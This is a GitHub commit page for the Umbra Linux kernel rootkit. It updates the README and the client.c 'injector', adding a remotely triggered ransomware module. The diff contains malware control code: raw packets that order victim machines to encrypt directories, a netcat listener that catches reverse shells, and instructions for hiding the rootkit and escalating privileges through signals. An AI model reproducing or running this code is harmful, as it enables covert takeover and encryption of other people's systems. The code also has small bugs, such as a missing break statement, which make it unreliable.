Skip to content

Commit 0ddd211

Browse files
authored
Merge pull request #4 from h3xduck/ransomware
Umbra Modules update
2 parents 808c909 + 4435799 commit 0ddd211

File tree

18 files changed

+468
-51
lines changed

18 files changed

+468
-51
lines changed

.gitignore

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,9 @@
1-
.vscode
21
client/client.o
32
kernel/*.*
43
kernel/src/*.*
54
!kernel/src/*.c
65
!kernel/*.c
6+
modules/*.o
7+
modules/ransom
78

89

.vscode/settings.json

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
{
22
"files.associations": {
33
"init.h": "c",
4-
"module.h": "c"
4+
"module.h": "c",
5+
"cstdlib": "c"
56
}
67
}

README.md

Lines changed: 52 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -5,27 +5,33 @@
55

66
# Umbra <img src="images/umbraicon2.png" float="right" width = 50>
77

8-
Umbra (/ˈʌmbrə/) is an experimental LKM rootkit for kernels 4.x and 5.x (up to 5.7) which opens a network backdoor that spawns reverse shells to remote hosts and more.
8+
Umbra is an experimental remotely controllable LKM rootkit for kernels 4.x and 5.x (up to 5.7) which opens a network backdoor that can spawn reverse shells to remote hosts, launch malware remotely and much more.
99

1010
The rootkit is still under development, although the features listed below are already fully operational.
1111

12-
![Backdoor in action](https://github.com/h3xduck/Umbra/blob/master/images/umbra3.gif)
12+
![Backdoor in action](https://github.com/h3xduck/Umbra/blob/master/images/umbra4.0_1.gif)
1313

1414
Note: This rootkit has been developed and tested using kernel 5.4.0 and Ubuntu 18.04.
1515

1616
## Features
1717
* :star2: Backdoor which spawns reverse shell to remote IP after receiving a malicious TCP packet.
18-
* Privilege escalation by sending signal 50.
19-
* Spawn netcat reverse shell on module load.
20-
* Spawn netcat reverse shell to a remote host by sending signal 51.
21-
* **NEW**: Added the *Umbra Injector* to control the rootkit remotely:
18+
* :star2: Use the *Umbra Injector* to control the rootkit remotely:
2219
* Remote reverse shell.
2320
* Hide/unhide rootkit remotely.
21+
* Launch *Umbra Modules*.
2422

25-
<img src="images/umbrainjector.png" width = 800/>
23+
<img src="images/umbrainjectorwithmodules.png" width = 800/>
24+
25+
* **NEW:** Added the ***Umbra Modules***, special malware-like modules which enhance Umbra and can be launched remotely by the Umbra Injector.
26+
* **NEW:** Umbra module "***Ransom***" which turns Umbra into a remotely controllable ransomware.
27+
28+
![Ransom module in action](https://github.com/h3xduck/Umbra/blob/master/images/umbra4.0_2.gif)
2629

27-
* **NEW**: Umbra hides all its files and directories from user commands such as *ls*.
28-
* **NEW**: Umbra can hide/unhide itself remotely and locally via signals.
30+
* Umbra hides all its files and directories from user commands such as *ls*.
31+
* Umbra can hide/unhide itself remotely and locally via signals.
32+
* Privilege escalation by sending signal 50.
33+
* Spawn netcat reverse shell on module load.
34+
* Spawn netcat reverse shell to a remote host by sending signal 51.
2935

3036
More functionalities will come in later updates.
3137

@@ -36,20 +42,24 @@ Also bear in mind that Umbra only incorporates light hiding and protection mecha
3642

3743
**IMPORTANT:** If you are going to test this rootkit in your own machine, I *strongly recommend* to use a VM.
3844

45+
**About the Umbra Modules:** The *ransom* module uses a trivial encryption mechanism but it can and will certainly encrypt any folder in your machine. Although files can be easily decrypted, I *definitely do not recommend* running this towards your root folder or similar unless on a controlled environment.
46+
3947
## Table of Contents
4048
1. [Build and Install](#build-and-install)
4149
2. [Unloading Umbra](#unloading-umbra)
4250
3. [Local Control](#basic-usage-local-control)
4351
4. [Remote Control](#umbra-injector-remote-control)
44-
5. [References](#references)
52+
5. [Umbra Modules](#umbra-modules)
53+
* [(NEW) Ransom](#ransom-module)
54+
6. [References](#references)
4555

4656
## Build and install
4757
Remember that you should have a 4.x or 5.x kernel available.
4858
1. Download your kernel header files
4959
```sh
5060
apt install linux-headers-$(uname -r)
5161
```
52-
2.Configure your include path to cover the kernel header directory (usually under /usr/src). If you are using vscode, you can check ```.vscode/c_cpp_properties.json``` for an example on which directories to include.
62+
2. Configure your include path to cover the kernel header directory (usually under /usr/src). If you are using vscode, you can check ```.vscode/c_cpp_properties.json``` for an example on which directories to include.
5363

5464
3. Clone the project
5565
```
@@ -60,12 +70,22 @@ cd Umbra
6070
```
6171
make
6272
```
63-
5. Load Umbra in the kernel
73+
5. Load Umbra in the kernel and configure environment
74+
The script will install Umbra in the kernel and configure a special directory where to store the malware modules. The directory will be later hidden by the rootkit.
75+
76+
```
77+
sudo ./install.sh
78+
```
79+
80+
If you have previously run the script and wish to just install Umbra in the kernel, you can run:
81+
6482
```
6583
sudo insmod ./umbra.ko
6684
```
6785

6886
## Unloading Umbra
87+
Make sure Umbra is not in invisible mode, otherwise this will fail.
88+
6989
```
7090
sudo rmmod umbra
7191
```
@@ -108,23 +128,23 @@ kill -52 1
108128
### Unhide the rootkit
109129
This reverts the invisible mode if active.
110130
```
111-
./client -53 127.0.0.1
131+
kill -53 1
112132
```
113133

114134
## Umbra Injector: Remote control
115-
### **NEW**: Get reverse shell
135+
### Get reverse shell
116136
The program can be run either before Umbra is installed (thus waiting until it is), or after Umbra is installed on the target system.
117137
```
118-
./client -S 127.0.0.1
138+
./injector -S 127.0.0.1
119139
```
120140

121-
### **NEW**: Hide the rootkit remotely - Invisible mode
141+
### Hide the rootkit remotely - Invisible mode
122142
This will prevent the rootkit from being shown by commands such as *lsmod*, or being removed via *rmmod*.
123143
```
124-
./client -i 127.0.0.1
144+
./injector -i 127.0.0.1
125145
```
126146

127-
### **NEW**: Unhide the rootkit remotely
147+
### ¡Unhide the rootkit remotely
128148
This reverts the invisible mode if active.
129149
```
130150
./client -u 127.0.0.1
@@ -133,10 +153,23 @@ This reverts the invisible mode if active.
133153
### Help
134154
You can see the full information on how to run the client by:
135155
```
136-
./client -h
156+
./injector -h
137157
```
138158

159+
## Umbra Modules
160+
### Ransom module
161+
This module can launch remote ransomware-like attacks via the Umbra Injector. Encrypted files appear with the *.ubr* extension.
139162

163+
Currently the encryption mechanism is a simple bit-level NOP, as a proof of concept. You may edit the module to include your own encryption algorithm.
164+
#### Encrypt a directory and all its sub-directories
165+
```
166+
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1
167+
```
168+
169+
#### Decrypt a directory and all its sub-directories
170+
```
171+
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1
172+
```
140173

141174
## References
142175
The development of this rootkit involved a substantial amount of research about LKMs and rootkit techniques. The following is an incomplete list of the resources I used:

client/Makefile

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,14 +3,14 @@ HEADERS = lib/RawTCP.h
33
EXTRA_CFLAGS= -I$(PWD)/lib
44

55
default:
6-
make client
6+
make injector
77

88
client.o: client.c $(HEADERS)
99
gcc -c client.c
1010

11-
client: client.o lib/libRawTCP_Lib.a
12-
gcc -lm -o client client.o -L. lib/libRawTCP_Lib.a
11+
injector: client.o lib/libRawTCP_Lib.a
12+
gcc -lm -o injector client.o -L. lib/libRawTCP_Lib.a
1313

1414
clean:
1515
-rm -f client.o
16-
-rm -f client
16+
-rm -f injector

client/client

-39.4 KB
Binary file not shown.

client/client.c

Lines changed: 101 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -26,22 +26,28 @@ void print_welcome_message(){
2626
}
2727

2828
void print_help_dialog(const char* arg){
29-
printf("\nUsage: %s [OPTION] victim_IP\n\n", arg);
29+
printf("\nUsage: %s OPTION victim_IP\n\n", arg);
3030
printf("Program OPTIONs\n");
31-
char* line = "-S victim_IP";
31+
char* line = "-S";
3232
char* desc = "Get a remote shell to victim_IP";
33-
printf("\t%-50s %-50s\n\n", line, desc);
34-
line = "-u victim_IP";
33+
printf("\t%-40s %-50s\n\n", line, desc);
34+
line = "-p [PATH] -e";
35+
desc = "*Ransom module* Recursively encrypt directory PATH on victim_IP";
36+
printf("\t%-40s %-50s\n\n", line, desc);
37+
line = "-p [PATH] -d";
38+
desc = "*Ransom module* Recursively decrypt directory PATH on victim_IP";
39+
printf("\t%-40s %-50s\n\n", line, desc);
40+
line = "-u";
3541
desc = "Unhide the rootkit remotely from the host";
36-
printf("\t%-50s %-50s\n\n", line, desc);
37-
line = "-i victim_IP";
42+
printf("\t%-40s %-50s\n\n", line, desc);
43+
line = "-i";
3844
desc = "Hide the rootkit remotely from the host";
39-
printf("\t%-50s %-50s\n\n", line, desc);
40-
line = "\nProgram options";
41-
printf("\t%-50s\n", line);
45+
printf("\t%-40s %-50s\n\n", line, desc);
46+
line = "\nOther options";
47+
printf("\t%-40s\n", line);
4248
line = "-h";
4349
desc = "Print this help";
44-
printf("\t%-50s %-50s\n\n", line, desc);
50+
printf("\t%-40s %-50s\n\n", line, desc);
4551

4652
}
4753

@@ -107,7 +113,7 @@ void get_shell(char* argv){
107113
}else {
108114
//Activating listener
109115
char *cmd = "nc";
110-
char *argv[3];
116+
char *argv[4];
111117
argv[0] = "nc";
112118
argv[1] = "-lvp";
113119
argv[2] = "5888";
@@ -154,20 +160,66 @@ void hide_rootkit(char* argv){
154160
free(local_ip);
155161
}
156162

163+
void encrypt_directory(char* argv, char* dir){
164+
char* local_ip = getLocalIpAddress();
165+
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
166+
printf("["KBLU"INFO"RESET"]""Target PATH selected: %s\n", dir);
167+
char data_buffer[1024];
168+
strcpy(data_buffer, "UMBRA_ENCRYPT_DIR");
169+
strcat(data_buffer, dir);
170+
check_ip_address_format(argv);
171+
packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, data_buffer);
172+
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
173+
//Sending the malicious payload
174+
if(rawsocket_send(packet)<0){
175+
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
176+
}else{
177+
printf("["KGRN"OK"RESET"]""Request to encrypt directory successfully sent!\n");
178+
}
179+
free(local_ip);
180+
}
181+
182+
void decrypt_directory(char* argv, char* dir){
183+
char* local_ip = getLocalIpAddress();
184+
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
185+
printf("["KBLU"INFO"RESET"]""Target PATH selected: %s\n", dir);
186+
char data_buffer[1024];
187+
strcpy(data_buffer, "UMBRA_DECRYPT_DIR");
188+
strcat(data_buffer, dir);
189+
check_ip_address_format(argv);
190+
packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, data_buffer);
191+
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
192+
//Sending the malicious payload
193+
if(rawsocket_send(packet)<0){
194+
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
195+
}else{
196+
printf("["KGRN"OK"RESET"]""Request to decrypt directory successfully sent!\n");
197+
}
198+
free(local_ip);
199+
}
200+
201+
202+
157203

158204
void main(int argc, char* argv[]){
159205
if(argc<2){
160206
printf("["KRED"ERROR"RESET"]""Invalid number of arguments\n");
161207
print_help_dialog(argv[0]);
162208
return;
163209
}
164-
210+
211+
int ENCRYPT_MODE_SEL = 0;
212+
int DECRYPT_MODE_SEL = 0;
213+
int PATH_ARG_PROVIDED = 0;
214+
215+
int PARAM_MODULE_ACTIVATED = 0;
165216

166217
int opt;
167218
char dest_address[32];
219+
char path_arg[512];
168220

169221
//Command line argument parsing
170-
while ((opt = getopt(argc, argv, ":S:u:i:h")) != -1) {
222+
while ((opt = getopt(argc, argv, ":S:u:i:p:e:d:h")) != -1) {
171223
switch (opt) {
172224
case 'S':
173225
print_welcome_message();
@@ -177,6 +229,7 @@ void main(int argc, char* argv[]){
177229
//printf("Option S has argument %s\n", optarg);
178230
strcpy(dest_address, optarg);
179231
get_shell(dest_address);
232+
PARAM_MODULE_ACTIVATED = 1;
180233

181234
break;
182235
case 'u':
@@ -187,6 +240,7 @@ void main(int argc, char* argv[]){
187240
//printf("Option m has argument %s\n", optarg);
188241
strcpy(dest_address, optarg);
189242
show_rootkit(dest_address);
243+
PARAM_MODULE_ACTIVATED = 1;
190244

191245
break;
192246
case 'i':
@@ -197,8 +251,23 @@ void main(int argc, char* argv[]){
197251
//printf("Option m has argument %s\n", optarg);
198252
strcpy(dest_address, optarg);
199253
hide_rootkit(dest_address);
254+
PARAM_MODULE_ACTIVATED = 1;
255+
256+
case 'e':
257+
ENCRYPT_MODE_SEL = 1;
258+
strcpy(dest_address, optarg);
200259

201260
break;
261+
case 'd':
262+
DECRYPT_MODE_SEL = 1;
263+
strcpy(dest_address, optarg);
264+
break;
265+
266+
case 'p':
267+
PATH_ARG_PROVIDED = 1;
268+
strcpy(path_arg, optarg);
269+
break;
270+
202271
case 'h':
203272
print_help_dialog(argv[0]);
204273
exit(0);
@@ -216,5 +285,24 @@ void main(int argc, char* argv[]){
216285
exit(EXIT_FAILURE);
217286
}
218287
}
288+
289+
//Checking activated mode, for those requiring multiple args
290+
if(ENCRYPT_MODE_SEL == 1 && PATH_ARG_PROVIDED == 1){
291+
print_welcome_message();
292+
sleep(1);
293+
//Selecting encrypt directory - Ransomware ON mode
294+
printf("["KBLU"INFO"RESET"]""Selected ENCRYPT a rootkit remotely\n");
295+
encrypt_directory(dest_address, path_arg);
296+
}else if(DECRYPT_MODE_SEL == 1 && PATH_ARG_PROVIDED == 1){
297+
print_welcome_message();
298+
sleep(1);
299+
//Selecting encrypt directory - Ransomware ON mode
300+
printf("["KBLU"INFO"RESET"]""Selected DECRYPT a rootkit remotely\n");
301+
decrypt_directory(dest_address, path_arg);
302+
}else if(PARAM_MODULE_ACTIVATED==0){
303+
printf("["KRED"ERROR"RESET"]""Invalid parameters\n");
304+
print_help_dialog(argv[0]);
305+
exit(EXIT_FAILURE);
306+
}
219307

220308
}

client/injector

39.5 KB
Binary file not shown.

images/umbra4.0_1.gif

24.2 MB
Loading

images/umbra4.0_2.gif

38.8 MB
Loading
27.9 KB
Loading

0 commit comments

Comments
 (0)